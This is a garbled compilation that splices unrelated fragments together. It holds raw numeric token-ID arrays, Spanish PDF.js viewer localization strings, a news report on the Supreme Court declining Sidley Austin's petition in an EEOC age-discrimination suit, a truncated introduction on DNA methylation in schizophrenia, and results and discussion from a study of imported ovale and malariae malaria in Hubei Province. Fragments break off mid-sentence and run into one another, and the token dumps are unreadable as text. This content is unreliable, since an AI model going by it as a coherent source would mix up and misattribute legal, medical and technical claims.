271, 1055, 327, 30772, 15, 733, 310, 6326, 326, 253, 16783, 275, 29104, 4811, 310, 1774, 323, 32795, 285, 14421, 7882, 13, 285, 3164, 1234, 16443, 811, 34690, 3284, 2048, 15, 9110, 253, 2554, 273, 3882, 16783, 275, 26264, 253, 2250, 273, 10545, 3603, 824, 347, 4075, 13342, 310, 417, 973, 4232, 1254, 67, 26, 14, 35744, 7913 ]

_sidebar_label = Cambiar barra lateral document_outline.title = Mostrar resumen del documento (doble clic para expandir/contraer todos los elementos) document_outline_label = Resumen de documento attachments.title = Mostrar adjuntos attachments_label = Adjuntos thumbs.title = Mostrar miniaturas thumbs_label = Miniaturas findbar.title = Buscar en el documento findbar_label = Buscar thumb_page_title = Página {{page}} thumb_page_canvas = Miniatura de la página {{page}} find_label = Buscar: find_previous.title = Encontrar la anterior aparición de la frase find_previous_label = Anterior find_next.title = Encontrar la siguiente aparición de esta frase find_next_label = Siguiente find_highlight = Resaltar todos find_match_case_label = Coincidencia de mayús./minús. find_reached_top = Se alcanzó el inicio del documento, se continúa desde el final find_reached_bottom = Se alcanzó el final del documento, se continúa desde el inicio find_not_found = Frase no encontrada error_more_info = Más información error_less_info = Menos información error_close = Cerrar error_version_info = PDF.js v{{version}} (build: {{build}}) error_message = Mensaje: {{message}} error_stack = Pila: {{stack}} error_file = Archivo: {{file}} error_line = Línea: {{line}} rendering_error = Ocurrió un error al renderizar la página. page_scale_width = Anchura de la página page_scale_fit = Ajuste de la página page_scale_auto = Tamaño automático page_scale_actual = Tamaño real page_scale_percent = {{scale}}% loading_error_indicator = Error loading_error = Ocurrió un error al cargar el PDF. invalid_file_error = Fichero PDF no válido o corrupto. missing_file_error = No hay fichero PDF. unexpected_response_error = Respuesta inesperada del servidor. text_annotation_type.alt = [Anotación {{type}}] password_label = Introduzca la contraseña para abrir este archivo PDF. password_invalid = Contraseña no válida. Vuelva a intentarlo. password_ok = Aceptar password_cancel = Cancelar printing_not_supported = Advertencia: Imprimir no está totalmente soportado por este navegador. printing_not_ready = Advertencia: Este PDF no se ha cargado completamente para poder imprimirse. web_fonts_disabled = Las tipografías pdfjs.web están desactivadas: es imposible usar las tipografías PDF embebidas. document_colors_not_allowed = Los documentos PDF no tienen permitido usar sus propios colores: 'Permitir a las páginas elegir sus propios colores' está desactivado en el navegador. The U.S. Supreme Court has declined to hear a petition filed on behalf of international law firm Sidley Austin Brown & Wood (Sidley & Austin) regarding the ability of the U.S. Equal Employment Opportunity Commission (EEOC) to pursue monetary damages and other individual victim-specific relief in the ongoing discrimination suit against the firm. The refusal comes just months after the number of workers age 55 and older reached 24.6 million, the highest level ever recorded, according to a study from Challenger, Gray & Christmas. The number of workers over 65 has increased 45 percent over the past ten years, reaching 3.6 million in August, the study found. Advertisement [1] “The Supreme Court’s decision denying Sidley’s request for review follows a pattern of Sidley’s every attempt to avoid potential monetary liability being unequivocally rejected by the courts at every turn,” John Hendrickson, EEOC Regional Attorney in Chicago, explained in a prepared statement regarding the decision. “Although the Supreme Court did not address the ultimate merits of the question,” Hendrickson continued, “the Court’s decision to deny Sidley’s request for review leaves the Seventh Circuit decision in our case standing as the controlling law for the duration of this case through a jury verdict, and there’s not a shadow of a doubt about what that law is, the EEOC can pursue monetary and other victim-specific relief on behalf of the ousted Sidley partners.” The EEOC’s case against Sidley arose out of an investigation by the Chicago District Office into Sidley & Austin’s compliance with the Age Discrimination in Employment Act (ADEA). The ADEA applies to individuals over the age of 40 working for an employer with 20 or more employees. It prohibits hiring and firing decisions based on age, as well as mandatory retirement at a certain age, for nearly all employees. In addition, many states forbid mandatory retirement for small employers not covered by the ADEA. The EEOC’s investigation did not stem from a formal Charge of Discrimination filed by an individual, but rather from a complaint filed within the firm and comments made to the media by Sidley’s management team acknowledging that partners had been downgraded in order to create opportunities for younger lawyers. The statements to the media also referenced the firm’s age-biased retirement policy. The firm downgraded 32 partners in the fall of 1999. Twenty-seven have asked to be represented by the EEOC in the litigation. The EEOC filed the case in the U.S. District Court for the Northern District of Illinois in Chicago on January 13, 2005. The case, which seeks monetary damages and reinstatement of partners who were down-graded to senior counsel or counsel status, is pending before U.S. District Judge James Zagel. Discovery has been ongoing in the case, because Judge Zagel did not delay the case while Sidley’s request for review to the Supreme Court was being considered. Relying on Supreme Court precedent, Judge Zagel said: “The EEOC’s right to bring suit seeking individual relief goes beyond that of the individual and reaches the territory of public interest, thereby allowing EEOC to seek relief for individuals, like the affected Sidley partners in this case, who could not, for any variety of reasons, do so themselves.” The Challenger study did not address the pay and benefits received by older workers. It did, however, point out that fierce competition from baby boomers just turning 60 is likely to make it increasingly difficult for older job-seekers to find positions.INTRODUCTION ============ Schizophrenia is a severe psychiatric disorder, characterized by debilitating behavioral abnormalities, delusions, hallucinations and negative symptoms \[[@b1-bjmg-17-02-15]\]. It is an etiologically complex disorder, involving both heritable and non heritable factors, with heritability estimates of up to 81.0% \[[@b2-bjmg-17-02-15]\]. It is believed that the disorder is due to early neurodevelopmental factors, imbalances in neurotransmitter signaling, together with obstetric complications, infections, stress and trauma \[[@b3-bjmg-17-02-15],[@b4-bjmg-17-02-15]\]. In the absence of established diagnostic biological markers, diagnosis of schizophrenia relies on examination of mental state by a clinical interview \[[@b5-bjmg-17-02-15]\]. DNA methylation is a basic epigenetic modification, important for normal development in higher organisms. It alters the gene expression without modification of the primary DNA sequence and is heritable through the cell \[[@b6-bjmg-17-02-15]\]. It involves conversion of the cytosine to 5-methylcytosine by means of DNA methyltransferases \[[@b6-bjmg-17-02-15]\]. In eukaryotes, methylation is most commonly found in CG rich areas of DNA, called CpG islands \[[@b7-bjmg-17-02-15]\]. The epigenetic processes are dynamic and allow the cells to respond reversibly and in a precise way to environmental stimuli, but also preserve cell type specific gene programs. Epigenetic changes over time display familial clustering \[[@b8-bjmg-17-02-15]\]. This could explain the clustering of some common diseases in families, so the epigenetic pattern could be implicated in transmitting "predisposition" over generations. DNA methylation can be associated with the transcription start sites of genes or can be found in the gene bodies, intergenic or in distant regulatory regions. The position of the methylation affects its relationship to gene expression level. Methylation in the immediate vicinity of the transcription start site blocks initiation, while methylation inside the gene stimulates transcription elongation. So it is suggested that gene body methylation may have an effect on splicing. It is supposed that the methylation in repetitive regions is important for chromosomal and genomic stability, and probably represses transposable element expression. Yet the role of DNA methylation in modifying the action of regulatory elements such as enhancers is not well established \[[@b9-bjmg

[ 3731, 27631, 1700, 347, 475, 49, 15, 25898, 991, 11, 327, 14080, 15, 4683, 253, 1283, 475, 49, 15, 19643, 70, 11, 2219, 13, 374, 497, 3731, 27631, 1700, 347, 475, 49, 15, 25898, 991, 11, 327, 14080, 15, 416, 15580, 7340, 273, 10332, 4795, 432, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 5571, 15, 18, 6, 285, 6480, 15, 26, 5294, 2975, 15, 3235, 575, 20, 33958, 2433, 273, 475, 49, 15, 14246, 1079, 11, 256, 1033, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 2219, 275, 388, 4338, 74, 49850, 19039, 18196, 323, 5979, 8125, 48854, 14044, 4504, 6120, 407, 8477, 11, 49, 15, 14246, 1079, 11, 26105, 5929, 49, 15, 19643, 70, 11, 25810, 1026, 1938, 906, 575, 47390, 6120, 3507, 1036, 575, 46, 261, 27631, 1700, 3583, 575, 52, 22247, 11767, 3953, 15, 25085, 15, 26, 51, 15580, 906, 575, 40385, 63, 66, 63, 41830, 575, 41263, 63, 67, 63, 1731, 883, 575, 52, 22247, 11767, 1967, 15, 15148, 15, 26, 11, 51, 15580, 11, 37645, 10401, 1071, 63, 66, 63, 2102, 30782, 1327, 14, 39226, 43978, 26507, 2307, 451, 5066, 63, 67, 63, 2102, 30782, 475, 3493, 45049, 1514, 11, 5066, 12125, 187, 187, 34478, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 1712, 4538, 883, 94, 187, 6154, 9962, 187, 187, 10457, 4059, 283, 7798, 13, 253, 11422, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 285, 1283, 21117, 475, 49, 15, 19643, 70, 11, 2219, 497, 9288, 432, 2164, 4343, 4441, 275, 7531, 13, 10497, 13, 285, 17323, 571, 15, 15699, 13, 10694, 15, 24, 6, 313, 2227, 16, 2597, 10, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 285, 11107, 15, 21, 6, 313, 1166, 16, 1093, 10, 273, 475, 49, 15, 19643, 70, 11, 2219, 497, 432, 7531, 13, 342, 760, 767, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 432, 11650, 4343, 285, 581, 475, 49, 15, 19643, 70, 11, 1083, 432, 17323, 571, 313, 49, 522, 5738, 1457, 34410, 481, 380, 4343, 273, 6510, 273, 2219, 21117, 432, 8118, 4343, 403, 2011, 275, 2667, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 7129, 1470, 15, 575, 21, 7559, 5576, 3268, 273, 1401, 66, 9264, 3493, 45049, 1514, 14246, 1079, 25846, 261, 11, 74, 28, 1401, 67, 9264, 3493, 45049, 1514, 14246, 1079, 3402, 24736, 74, 28, 11, 285, 1401, 68, 9264, 3493, 45049, 1514, 19643, 70, 11, 29660, 432, 749, 14, 49713, 7531, 187, 187, 4185, 15, 21, 6, 313, 1549, 16, 3832, 10, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 285, 9161, 15, 19, 46217, 1099, 16, 1731, 10, 273, 475, 49, 15, 258, 15, 3402, 24736, 74, 11, 497, 432, 7531, 15, 475, 49, 15, 258, 15, 25846, 13401, 11, 2219, 497, 7194, 21117, 432, 9922, 4687, 273, 37642, 313, 26, 13, 1638, 15, 25, 9498, 23856, 313, 24, 13, 1903, 15, 22, 9498, 8721, 25922, 34410, 313, 23, 13, 898, 15, 25, 9498, 4965, 6836, 313, 22, 13, 854, 15, 19, 9498, 285, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 22, 13, 854, 15, 19, 9498, 285, 581, 475, 49, 15, 258, 15, 25846, 13401, 11, 1083, 432, 14307, 15, 475, 49, 15, 258, 5929, 3402, 24736, 74, 2219, 497, 7194, 21117, 432, 9922, 4687, 273, 37642, 313, 21, 13, 1458, 15, 21, 9498, 6039, 2771, 251, 313, 21, 13, 1458, 15, 21, 9498, 23856, 313, 21, 13, 1458, 15, 21, 9498, 4965, 6836, 313, 20, 13, 1903, 15, 22, 9498, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 20, 13, 1903, 15, 22, 9498, 285, 35522, 313, 20, 13, 1903, 15, 22, 9498, 285, 581, 475, 49, 15, 258, 15, 3402, 24736, 74, 11, 1083, 432, 29310, 15, 475, 3493, 45049, 1514, 19643, 70, 11, 369, 7194, 21117, 432, 4965, 6836, 313, 20, 13, 1668, 15, 24, 9498, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 20, 13, 1668, 15, 818, 9498, 6039, 2771, 251, 313, 19, 13, 1903, 15, 18, 9498, 15562, 571, 313, 19, 13, 1903, 15, 18, 9498, 285, 23856, 313, 19, 13, 1903, 15, 18, 10970, 187, 187, 14146, 1712, 4538, 805, 94, 187, 6428, 187, 187, 41, 4338, 74, 18324, 556, 6786, 13406, 2323, 275, 10938, 253, 1980, 19643, 4112, 28, 2299, 13, 253, 1180, 273, 21117, 19643, 2219, 556, 2559, 15, 4129, 253, 5020, 273, 21117, 19643, 2219, 497, 2330, 342, 475, 49, 15, 46777, 2992, 253, 1180, 273, 1363, 342, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 3012, 2559, 13, 3340, 253, 1180, 273, 1363, 342, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 625, 685, 326, 342, 475, 49, 15, 25898, 991, 11, 432, 4059, 281, 4765, 15, 380, 2572, 275, 253, 1180, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 3559, 247, 747, 5691, 323, 17170, 253, 1048, 14, 3945, 4736, 273, 19643, 20408, 1254, 1311, 1797, 1656, 187, 187, 688, 436, 1263, 13, 627, 369, 247, 1534, 3064, 275, 253, 22667, 2180, 273, 253, 1740, 475, 3493, 45049, 1514, 11, 3417, 15, 1723, 13, 253, 3064, 875, 253, 767, 12514, 255, 695, 3417, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 417, 1534, 275, 436, 1263, 13, 534, 310, 2074, 281, 253, 4560, 273, 6047, 80, 1162, 355, 15, 1254, 1311, 1423, 1184, 285, 8741, 5309, 14, 31900, 375, 1162, 355, 15, 1254, 1311, 1508, 1656, 496, 436, 1263, 13, 253, 20088, 22667, 9894, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 285, 475, 49, 15, 258, 15, 70, 3402, 24736, 74, 11, 497, 818, 1610, 285, 818, 4590, 575, 11015, 13, 2975, 15, 380, 20088, 22667, 9894, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 275, 253, 1263, 407, 427, 4486, 1162, 355, 15, 1254, 1311, 1010, 1184, 285, 41558, 1162, 355, 15, 1254, 1311, 1348, 1184, 497, 884, 3245, 285, 1249, 2082, 575, 11015, 13, 2975, 15, 8057, 22667, 9894, 1246, 10665, 12748, 323, 19643, 6120, 285, 697, 4569, 1971, 1254, 1311, 1099, 1656, 380, 11508, 432, 253, 11653, 273, 9749, 281, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 3356, 685, 1110, 273, 475, 49, 15, 25898, 991, 11, 285, 475, 49, 15, 46777, 5929, 4923, 273, 253, 7520, 12340, 273, 24984, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 275, 388, 4338, 74, 18324, 13, 841, 475, 3493, 45049, 1514, 11, 3417, 452, 644, 8127, 22459, 15, 5076, 13, 690, 1363, 858, 417, 4143, 253, 4675, 4745, 984, 273, 616, 11134, 5917, 15, 1723, 13, 13444, 6120, 273, 841, 767, 475, 3493, 45049, 1514, 11, 3417, 588, 1421, 281, 7197, 3382, 6973, 1254, 1311, 1731, 1656, 187, 187, 688, 436, 1263, 13, 253, 4142, 273, 3451, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 2219, 497, 5693, 15, 20, 6, 285, 7127, 15, 21, 5294, 2975, 13, 275, 13240, 390, 2406, 14, 5251, 29538, 15, 380, 3731, 27631, 2433, 497, 8877, 407, 767, 2616, 13, 581, 369, 253, 1786, 40560, 8, 3480, 273, 3640, 670, 841, 767, 3417, 273, 19643, 1254, 1311, 1630, 5413, 285, 253, 643, 369, 21418, 2544, 2330, 342, 1698, 2308, 273, 11619, 5741, 9512, 285, 897, 273, 1327, 14, 15291, 16940, 1254, 1311, 1619, 7254, 1311, 2405, 1656, 3813, 13, 3733, 327, 970, 14080, 323, 3302, 6120, 273, 19643, 387, 13240, 285, 2406, 14, 5251, 29538, 943, 320, 34615, 15, 25792, 280, 22770, 379, 3733, 556, 6518, 6558, 14080, 13789, 323, 7899, 5481, 285, 6120, 273, 475, 3493, 45049, 1514, 11, 27338, 387, 512, 2308, 273, 29538, 285, 13240, 28, 33810, 13, 247, 2629, 19643, 5175, 5199, 943, 320, 4232, 387, 247, 2406, 1268, 1254, 1311, 1237, 1656, 187, 187, 11540, 1877, 273, 475, 3493, 45049, 1514, 11, 3417, 310, 581, 273, 253, 1774, 5018, 275, 19643, 20408, 15, 10200, 3082, 323, 253, 6120, 273, 19643, 2486, 5026, 285, 6906, 2614, 3085, 14080, 13, 416, 15580, 84, 13, 285, 8477, 15, 380, 1655, 5328, 2629, 323, 19643, 6120, 4558, 14080, 15, 1723, 13, 436, 5853, 3198, 10665, 3733, 285, 2793, 15, 733, 369, 2834, 281, 4271, 475, 49, 15, 14246, 1079, 11, 26105, 15, 407, 760, 22973, 8368, 13, 984, 253, 15448, 273, 436, 3417, 310, 2074, 281, 326, 273, 475, 49, 15, 25898, 991, 11, 1254, 1311, 1717, 1656, 831, 1263, 2692, 326, 2620, 475, 49, 15, 14246, 1079, 11, 26105, 15, 14470, 497, 3731, 24491, 347, 475, 49, 15, 25898, 991, 11, 275, 22973, 8368, 275, 253, 25432, 3806, 9965, 15, 8477, 556, 2169, 7340, 685, 14080, 275, 48858, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 10332, 1254, 1311, 1619, 1092, 1008, 1311, 1610, 1184, 534, 476, 320, 908, 281, 17813, 253, 9965, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 10332, 1254, 1311, 1706, 1656, 416, 15580, 84, 2085, 2289, 281, 7899, 19643, 6120, 275, 1142, 3672, 1254, 1311, 1671, 5413, 984, 352, 310, 3477, 281, 897, 285, 2430, 642, 2173, 6500, 1254, 1311, 1812, 1656, 496, 436, 1263, 13, 416, 15580, 7340, 273, 10332, 4795, 432, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 5571, 15, 18, 6, 534, 369, 749, 29776, 1254, 1311, 1787, 1656, 7757, 13, 5125, 326, 275, 13240, 390, 2406, 14, 5251, 29538, 13, 416, 15580, 84, 812, 320, 908, 281, 320, 247, 19767, 629, 281, 22973, 8368, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 10332, 15, 187, 187, 688, 436, 1263, 13, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 9288, 432, 749, 14, 49713, 7531, 15, 20146, 285, 9069, 1771, 1254, 1311, 23, 1184, 2540, 326, 253, 3626, 3268, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 369, 275, 749, 14, 49713, 7531, 285, 690, 10439, 11553, 17546, 15, 6295, 3417, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 403, 2783, 281, 320, 12514, 255, 695, 4768, 616, 25231, 3268, 1254, 1311, 19, 1656, 1723, 13, 475, 49, 15, 19643, 70, 11, 310, 7194, 1119, 275, 749, 14, 49713, 7531, 285, 31438, 11553, 1254, 1311, 24, 1656, 2726, 253, 25060, 3629, 3904, 273, 4292, 2444, 285, 22710, 17195, 281, 19643, 14, 423, 11060, 7531, 13, 19643, 1453, 275, 388, 4338, 74, 18324, 588, 2779, 3464, 271, 1774, 5691, 15, 187, 187, 1552, 1263, 574, 690, 7364, 15, 3973, 13, 253, 5447, 15494, 327, 16864, 1083, 5481, 285, 24473, 812, 45166, 253, 3904, 273, 21117, 19643, 2219, 15, 6347, 13, 21681, 281, 253, 3480, 273, 271, 3242, 3522, 273, 5066, 13, 253, 22667, 2180, 369, 5118, 970, 253, 13024, 12282, 273, 1363, 672, 597, 4895, 281, 4135, 13, 534, 2097, 326, 253, 22667, 2180, 273, 1016, 1083, 908, 275, 253, 1263, 310, 247, 5927, 6642, 28, 253, 3522, 273, 19831, 11653, 15494, 327, 3110, 9610, 13, 534, 310, 778, 320, 2256, 281, 6983, 8492, 285, 778, 3103, 2818, 253, 5783, 6120, 7726, 15, 12245, 13, 253, 1355, 1180, 273, 1363, 3710, 253, 7605, 1612, 281, 921, 3910, 2190, 10332, 342, 1027, 475, 3493, 45049, 1514, 11, 3417, 15, 187, 187, 22807, 1712, 4538, 1012, 94, 187, 15765, 187, 187, 3351, 10750, 19643, 2219, 403, 253, 3625, 5691, 323, 388, 4338, 74, 18324, 275, 17170, 253, 1048, 14, 3945, 4736, 273, 19643, 20408, 15, 380, 1263, 1543, 5183, 326, 253, 9364, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 2559, 3012, 15, 733, 671, 4860, 253, 1180, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 19486, 645, 326, 273, 475, 49, 15, 25898, 991, 11, 2219, 275, 388, 4338, 74, 18324, 15, 12257, 13, 841, 767, 3417, 497, 954, 2223, 3731, 24491, 390, 9829, 387, 13240, 390, 1698, 14, 5251, 29538, 15, 3308, 13, 5125, 326, 625, 4116, 320, 5087, 281, 13234, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219 ]

misdiagnosed as *P. vivax* on microscopy. Of the 18 *P. malariae* cases, 2 were misdiagnosed as *P. vivax* on microscopy. RDT sensitivity of infections resulting from *P. ovale* spp. and *P. malariae* were 70.1% and 38.9%, respectively.Table 3Diagnosis of *P. ovale* ssp. and *P. malariae* malaria cases in Hubei Provincial Reference Laboratory for Malaria DiagnosisConfirmed diagnosis by PCR*P. ovale* spp.*P. malariae*Microscopy result Correct diagnosis8216 Misdiagnosed52 Sensitivity (%)94.388.9RDT result Positive^a^617 Negative^b^2611 Sensitivity (%)70.138.9*RDT* Rapid diagnostic test^a^ Indicating non-falciparum plasmodial infection^b^ Indicating *Plasmodium* infection absent Origin of imported *P. ovale* spp. and *P. malariae* cases {#Sec11} ---------------------------------------------------------- During 2014--2018, the 87 imported *P. ovale* spp. cases and 18 imported *P. malariae* cases were acquired from 24 countries located in Africa, Asia, and Oceania. Overall, 97.7% (85/87) of *P. ovale* spp. cases and 94.4% (17/18) of *P. malariae* cases were from Africa, with only two *P. ovale* spp. cases from Asian countries and one *P. malariae* case from Oceania (Papua New Guinea). The countries of origin of cases imported from African countries are shown in Fig. [4](#Fig4){ref-type="fig"}.Fig. 4Geographic distribution of **a***Plasmodium ovale curtis*i; **b***Plasmodium ovale wallikeri;* and **c***Plasmodium malariae* originating from sub-Saharan Africa 98.4% (60/61) of *P. o. curtisi* and 96.2%(25/26) of *P. o. wallikeri* were from Africa. *P. o. curtisi* cases were mainly imported from Democratic Republic of Congo (9, 14.8%), Nigeria (7, 11.5%), Equatorial Guinea (6, 9.8%), Angola (5, 8.2%), and Congo (Brazzaville) (5, 8.2%), and one *P. o. curtisi* case from Turkey. *P. o.* wallikeri cases were mainly imported from Democratic Republic of Congo (4, 15.4%), Cameroon (4, 15.4%), Nigeria (4, 15.4%), Angola (3, 11.5%), Congo (Brazzaville) (3, 11.5%), and Uganda (3, 11.5%), and one *P. o. wallikeri* case from Bangladesh. *Plasmodium malariae* was mainly imported from Angola (3, 16.7%), Congo (Brazzaville) (3, 16. 7%), Cameroon (2, 11.1%), Liberia (2, 11.1%), and Nigeria (2, 11.1%). Discussion {#Sec12} ========== Hubei Province has achieved remarkable success in controlling the local malaria situation; however, the number of imported malaria cases has increased. Although the majority of imported malaria cases were associated with *P. falciparum*, the number of patients with imported *P. ovale* spp. and *P. malariae* significantly increased, especially the number of patients with imported *P. ovale* spp. was more than that with *P. vivax* from 2014 to 2018. The increase in the number of imported *P. ovale* spp. and *P. malariae* cases presented a new challenge for achieving the long-term goal of malaria elimination \[[@CR21]\]. In this study, there was a significant difference in the latency period of the four *Plasmodium* species. However, the difference between the two sympatric species of *P. ovale* spp. was not significant in this study, which is similar to the finding of Cao et al. \[[@CR22]\] and Rojo-Marcos et al. \[[@CR23]\]. In this study, the longest latency periods of *P. o. curtisi* and *P. o.e wallikeri* were 733 and 793 days, respectively. The longest latency periods of *P. o. curtisi* in the study by Nolder et al. \[[@CR15]\] and Zhou et al. \[[@CR24]\] were 1083 and 1265 days, respectively. Long latency periods present considerable difficulties for malaria diagnosis and its appropriate treatment \[[@CR25]\]. The intervals from the onset of illness to diagnosis of *P. ovale* spp. and *P. malariae* were longer than those of *P. vivax* and *P. falciparum.* Because of the rare occurrence of indigenous *P. ovale* spp. and *P. malariae* malaria in Hubei Province, these *Plasmodium* species have been largely neglected. Moreover, some patients did not visit the hospital immediately because of their mild symptoms. However, delayed diagnosis of these two *Plasmodium* species will lead to worse clinical outcomes \[[@CR26]\]. In this study, the rates of correct diagnosis of *P. ovale* spp. and *P. malariae* malaria cases were 48.3% and 44.4%, respectively, in hospitals or lower-level CDC. The misdiagnosis were driven by two factors, one was the health technicians' lack of knowledge about these two species of malaria \[[@CR27]\], and the other was morphological changes associated with low levels of parasitaemia and use of non-standard medications \[[@CR28]--[@CR31]\]. Therefore, training on using microscopy for initial diagnosis of malaria at hospitals and lower-level CDC should be strengthened. Periodic refresher training has helped maintain microscopy capabilities for accurate detection and diagnosis of *Plasmodium* parasites at all levels of CDC and hospitals; furthermore, a standard malaria testing procedure should be established at a lower level \[[@CR32]\]. Identification of *Plasmodium* species is one of the important steps in malaria elimination. Common methods for the diagnosis of malaria include thick and thin blood film microscopy, RDTs, and PCR. The current gold standard for malaria diagnosis remains microscopy. However, this technique needs considerable training and experience. It was difficult to identify *P. ovale* spp. by only microscopic examination, because the morphology of this species is similar to that of *P. vivax* \[[@CR29]\]. This study showed that five *P. ovale* spp. isolates were misidentified as *P. vivax* in microscopic examination in the provincial reference laboratory. PCR has higher sensitivity than microscopy in diagnosing *P. ovale* spp. and *P. malariae* infections \[[@CR28], [@CR33]\] which can be used to validate the laboratory diagnosis of *P. ovale* spp. and *P. malariae* infections \[[@CR34]\]. RDTs provide access to accurate malaria diagnosis in many areas \[[@CR35]\], because it is easy to use and require no specific equipment \[[@CR36]\]. In this study, RDT sensitivity of infections resulting from *P. ovale* spp. was 70.1% which was suboptimal \[[@CR37]\]. Hence, suggested that in hospitals or lower-level CDC, RDTs could be used to be a complementary part to microscopic examination of *P. ovale* spp. infections. In this study, *P. ovale* spp. and *P. malariae* were acquired from sub-Saharan Africa. Collins and Jeffery \[[@CR6]\] observed that the natural distribution of *P. ovale* spp. cases was in sub-Saharan Africa and some western Pacific islands. Both species of *P. ovale* spp. are considered to be sympatric throughout their geographical distribution \[[@CR2]\]. However, *P. malariae* is mainly found in sub-Saharan Africa and southwest Pacific \[[@CR7]\]. With the steadily increasing numbers of individuals working and travelling abroad to malaria-endemic Africa, malaria control in Hubei Province will likely remain an important challenge. This study had some limitations. First, the database relied on passive case detection and inevitably could underestimate the numbers of imported malaria cases. Second, owing to the lack of an exact date of infection, the latency period was calculated using the arrival dates of patients when they returned to China, which means that the latency period of each case used in the study is a minimum estimate; the date of symptom onset relied on patient reporting, which is may be subject to recall bias and may therefore affect the confirmed diagnosis interval. Third, the small number of patients limited the statistical power to show differences among infections with different *Plasmodium* species. Conclusions {#Sec13} =========== Imported malaria cases are the primary challenge for Hubei Province in achieving the long-term goal of malaria elimination. The study results demonstrated that the incidence of *P. ovale* spp. and *P. malariae* cases increased significantly. It also indicated the number of *P. ovale* spp. cases overtook that of *P. vivax* cases in Hubei Province. Nevertheless, these two species were most often misidentified or missed at hospitals or low-level CDC. Thus, suggested that more attention be paid to surveillance of imported *P. ovale* spp. and *P. malariae* cases

[ 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 30693, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 1438, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 36002, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 30626, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 30626, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 2787, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 19874, 21, 15, 13473, 14, 18428, 15, 3024, 27, 3208, 25025, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 31358, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 31358, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 3593, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 42763, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 8255, 1525, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 8255, 1525, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 3507, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 19042, 2222, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 5388, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 5388, 8280, 14, 2203, 50275, 805, 86, 50276, 